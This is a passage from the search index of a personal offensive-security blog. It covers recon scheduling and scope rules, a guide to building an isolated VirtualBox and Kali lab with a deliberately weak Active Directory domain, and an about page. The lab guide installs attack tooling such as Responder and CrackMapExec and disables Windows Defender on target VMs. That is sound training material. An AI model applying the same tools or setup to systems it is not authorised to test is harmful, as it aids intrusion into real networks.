immediately.\nKeeping it current Point-in-time enumeration goes stale within weeks. Schedule the whole pipeline weekly, diff against the previous run, and alert on new names:\ncomm -13 \u0026lt;(sort yesterday.txt) \u0026lt;(sort today.txt) Newly appeared subdomains are the highest-value recon finding there is — they\u0026rsquo;re often staging environments that were never hardened because nobody remembers they exist.\nScope discipline Two rules I hold to regardless of how interesting a finding looks:\nEverything found must be in scope. A subdomain resolving to a third-party SaaS provider is not your target, it\u0026rsquo;s their tenant. Record where each name came from. When a client asks how you found an internal hostname, \u0026ldquo;crt.sh, 2020-09-18\u0026rdquo; is an answer; \u0026ldquo;the tool found it\u0026rdquo; is not. ","permalink":"https://book.llcczz.org/posts/subdomain-recon-amass-subfinder/","summary":"A practical pipeline for building and maintaining an accurate external asset inventory before you touch a single target.","title":"Subdomain Reconnaissance at Scale with Amass, Subfinder, and massdns"},{"content":"Most of what I wanted to practise — AD enumeration, relay attacks, pivoting — needs more than one machine. Renting cloud boxes works until you need SMB, LDAP, and broadcast traffic on the same segment, at which point you\u0026rsquo;re paying for a VPN and fighting the provider\u0026rsquo;s network filters.\nSo: local lab.\nHost requirements Nothing exotic. I ran this on a machine with 32 GB of RAM and a 1 TB NVMe drive. The numbers that actually matter:\nRAM — budget 2–4 GB per running VM. Two domain controllers plus a workstation is already 12 GB. Disk — use NVMe. Spinning disks make Windows Server installs genuinely painful. CPU — enable VT-x/AMD-V in firmware. Without nested paging the VMs crawl. Network design The single most important decision is keeping the lab isolated. I use two host-only adapters:\nAdapter Subnet Purpose vboxnet0 10.10.10.0/24 Attack network — Kali + targets vboxnet1 10.10.20.0/24 Second segment, for pivoting practice Host-only means no NAT to the outside world, so a misconfigured payload can\u0026rsquo;t reach my real network.\nProvisioning the attacker VM Kali is the path of least resistance. After install, set a static address so target configs stay valid:\nsudo tee /etc/network/interfaces.d/lab \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; auto eth1 iface eth1 inet static address 10.10.10.50 netmask 255.255.255.0 EOF sudo systemctl restart networking Then a baseline update and the usual toolkit:\nsudo apt update \u0026amp;\u0026amp; sudo apt full-upgrade -y sudo apt install -y bloodhound neo4j crackmapexec impacket-scripts \\ responder nmap smbclient ldap-utils Standing up Windows targets Windows Server 2019 evaluation ISOs are free and good for 180 days. Two rules that save hours:\nSnapshot immediately after install and before promotion. You will break the domain eventually. Disable Windows Defender\u0026rsquo;s real-time protection on target VMs only. Leaving it on turns every tooling exercise into an EDR-evasion exercise, which is not what you\u0026rsquo;re practising yet. Promote the first box to a new forest:\nInstall-WindowsFeature AD-Domain-Services -IncludeManagementTools Install-ADDSForest -DomainName lab.local -InstallDns Join a second server and a Windows 10 workstation to lab.local, then create a handful of users with deliberately sloppy group memberships. If everything is configured securely, there is nothing to find.\nSnapshots and hygiene Snapshot discipline is what makes a lab reusable:\nclean-install — right after OS install domain-ready — promoted and joined vulnerable — the state you actually attack from When an exercise goes sideways, revert to vulnerable instead of rebuilding. I keep a plain-text lab-notes.md with the IP map, credentials, and which snapshot belongs to which scenario.\nWhere to go next With a working domain and an attacker box on the same segment, the natural first exercises are SPN enumeration and Kerberoasting — that\u0026rsquo;s the next post.\n","permalink":"https://book.llcczz.org/posts/home-pentest-lab-virtualbox-kali/","summary":"How I set up a repeatable home lab for practising internal network attacks without touching anything I don\u0026rsquo;t own.","title":"Building a Home Pentest Lab: VirtualBox, Kali, and Network Segmentation"},{"content":"About me I\u0026rsquo;m lcz. Most of my time goes into offensive security and automation — building tooling, breaking things in labs, and writing down what I learn along the way.\nGitHub: lcz24 Email: a1443567234@gmail.com About this site Built with Hugo and PaperMod.\nThe source lives at lcz24/lcz24.github.io and is built and deployed by GitHub Actions on every push.\nSubscribe via RSS if you want new posts in a reader.\nYou can edit this page directly on GitHub: content/about.md.\n","permalink":"https://book.llcczz.org/about/","summary":"About this site","title":"About"}]